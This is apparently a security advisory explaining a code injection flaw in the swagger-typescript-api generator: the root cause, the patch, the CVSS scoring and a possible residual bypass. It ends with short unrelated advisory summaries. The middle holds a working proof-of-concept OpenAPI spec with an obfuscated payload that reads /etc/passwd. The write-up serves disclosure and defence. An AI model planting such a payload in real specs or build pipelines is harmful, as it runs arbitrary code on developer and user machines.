Jul 29, 2026·6 min read·191 visits
The swagger-typescript-api code generator fails to sanitize route paths. An attacker can craft a malicious OpenAPI specification with embedded JavaScript in a route path to execute arbitrary code when the generated API client is run.
CVE-2026-54666 identifies a high-severity code injection vulnerability in the swagger-typescript-api code generator library. The library fails to sanitize route paths parsed from OpenAPI Specification (OAS) documents before interpolating them into generated TypeScript and JavaScript client code. When a developer processes a compromised or malicious OpenAPI specification file, the library writes unescaped string literals and dynamic execution blocks directly into backtick template literals. When the generated client's corresponding API method is executed, the embedded JavaScript executes dynamically with the privileges of the active process.
The library swagger-typescript-api is an open-source tool utilized to automate the generation of typed API clients (using either Fetch or Axios) from OpenAPI Specification files. To generate clients, the tool parses paths, schemas, and query parameters, and maps them to client procedures using EJS templates. This generation phase constitutes an administrative and build-time attack surface.
Because the generation process assumes the input OpenAPI Specification is trusted, it processes route keys directly from the JSON/YAML structure. If an external entity can control or manipulate the OpenAPI schema used by developers or automated CI/CD pipelines, they gain control over the code generation process. This threat profile targets the build chain and developer workstations.
The vulnerability is classified under CWE-94 (Improper Control of Generation of Code), CWE-74 (Improper Neutralization of Special Elements in Output), and CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). The lack of input sanitization propagates structural injection vulnerabilities from the design schema directly into execution contexts.
The root cause of CVE-2026-54666 lies within src/schema-routes/schema-routes.ts. When processing endpoints, the parser reads the keys of the paths object, which represent the API routes (for example, /users/{id}). The generator performs a substitution loop to convert path parameters from OpenAPI curly-brace format ({id}) to JavaScript template literal syntax (${id}).
Apart from this isolated path parameter replacement, the raw string defining the route path was historically written directly to EJS templates without escaping. The default and modular templates (templates/default/procedure-call.ejs and templates/modular/procedure-call.ejs) utilize backticks to enclose the resulting URI path string.
Because backticks, backslashes, and target evaluation sequences (${) were not sanitized, any user-supplied string containing these characters was written raw into the output files. When the JavaScript engine evaluates the backtick literal during client runtime, any embedded expression of the form ${expression} is processed as code and executed immediately by the runtime interpreter.
The patch implemented in version 13.12.2 introduces an escaping step for JavaScript template literals before the parameters are processed in the route definitions.
Below is the comparison of the vulnerable logic versus the patched logic within src/schema-routes/schema-routes.ts and the new utility function introduced:
// Patched: New utility src/util/escape-js-template-literal-with-path-params.ts
/**
* Escapes backslashes, backticks, and template literal starts for JS strings
*/
export function escapeJsTemplateLiteralStatic(value: string): string {
return value
.replace(/\\/g, "\\\\")
.replace(/`/g, "\\`")
.replace(/\$\{/g, "\\${");
}The implementation integrates into the schema parsing lifecycle as shown below:
// Vulnerable Code Path:
// The raw path was passed directly into parameter reduction
let fixedRoute = pathParams.reduce((fixedRoute, pathParam) => {
return fixedRoute.replace(pathParam.$match, `\${${pathParam.name}}`);
}, routeName); // routeName was unescaped
// Patched Code Path (Commit 306d59acb8ffbb00f953f807b97234b21f51d9de):
// The routeName is escaped first, preserving safely formatted parameter markers
const escapedRouteName = escapeJsTemplateLiteralStatic(routeName || "");
let fixedRoute = pathParams.reduce((fixedRoute, pathParam, i, arr) => {
const insertion =
this.config.hooks.onInsertPathParam(
pathParam.name,
pathParam.$match,
i,
arr,
fixedRoute,
) || pathParam.name;
// Safe substitution occurs after base escaping
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
}, escapedRouteName);By executing escapeJsTemplateLiteralStatic on the raw route key prior to injecting parameters, any pre-existing executable ${ blocks or backticks within the OpenAPI path key are safely neutralised by prepending backslashes.
Exploitation requires hosting or delivering a manipulated OpenAPI specification containing a payload inside a path key. An attacker embeds an Immediately Invoked Function Expression (IIFE) within the path parameters.
Consider the following structured proof-of-concept OpenAPI Specification payload designed to read sensitive files on a Unix system:
{
"openapi": "3.0.0",
"info": { "title": "InjectedAPI", "version": "1.0.0" },
"paths": {
"/api/${\(async\(\)=>{try{const m=Buffer.from(\"bm9kZTpmcw==\",\"base64\").toString();const f=await import\(m\);const d=f.readFileSync\(\"/etc/passwd\",\"utf8\"\);f.writeFileSync\(\"/tmp/pwned\",d\);}catch\(e\){}return\ \"x\";}\)\(\)}/data": {
"get": {
"operationId": "triggerRce",
"responses": { "200": { "description": "Success" } }
}
}
}
}When a developer processes this document using swagger-typescript-api < 13.12.2, the output file generates the following statement:
triggerRce = (params: RequestParams = {}) =>
this.request<any, any>({
path: `/api/${(async()=> { ... })()}/data`,
method: "GET",
...params,
});When triggerRce() is invoked by the application code, the backtick template is evaluated by the runtime engine (such as Node.js or a browser environment). The IIFE executes immediately, resolving the standard library node:fs, reading local system files, and writing them to the temporary directory.
The execution impact depends entirely on the environment hosting the generated API client. If the generated client is integrated into a backend Node.js application, the injected code runs with the operational permissions of the Node.js process. This can result in arbitrary command execution, local file system modification, access to system environment variables, or remote exfiltration of credentials.
If the client is built into a browser application via bundlers (such as Webpack, Vite, or Esbuild), the payload executes inside the browser of users accessing the front end. This can lead to session hijacking, data exfiltration, or defacement of the application context.
The vector has a CVSS base score of 8.3. The Attack Complexity is classified as High (AC:H) because exploitation depends on a user pulling an untrusted specification file and invoking the output function. However, the scope is Changed (S:C) because exploitation of the compiler tool compromises downstream client services.
While the patch effectively prevents direct exploitation through standard path interpolation, a deep code review reveals minor residual risks that may persist in edge configurations.
The regular expression utilized by the tool to locate path parameters is defined as /({[\w[\\\]^][-_.\w]*})/g. This regular expression explicitly permits backticks (`` ``) and backslashes (\) inside parameter names.
Because the escaping utility escapeJsTemplateLiteralStatic is applied to the raw route path before the path parameters are substituted, if a parameter is defined with a name like \{myinject}`, the subsequent replacement operation can reintroduce unescaped backticks into the final generated template literal. This risk is minimized because parameter names are typically validated structurally, but it constitutes a potential bypass if the parameter definitions themselves are not properly restricted.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
swagger-typescript-api acacode | < 13.12.2 | 13.12.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 / CWE-1336 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.3 |
| Exploit Status | Proof-of-Concept |
| CISA KEV Status | Not Listed |
| Ecosystem | npm |
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.
Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.
Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.
An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.
In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.
A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.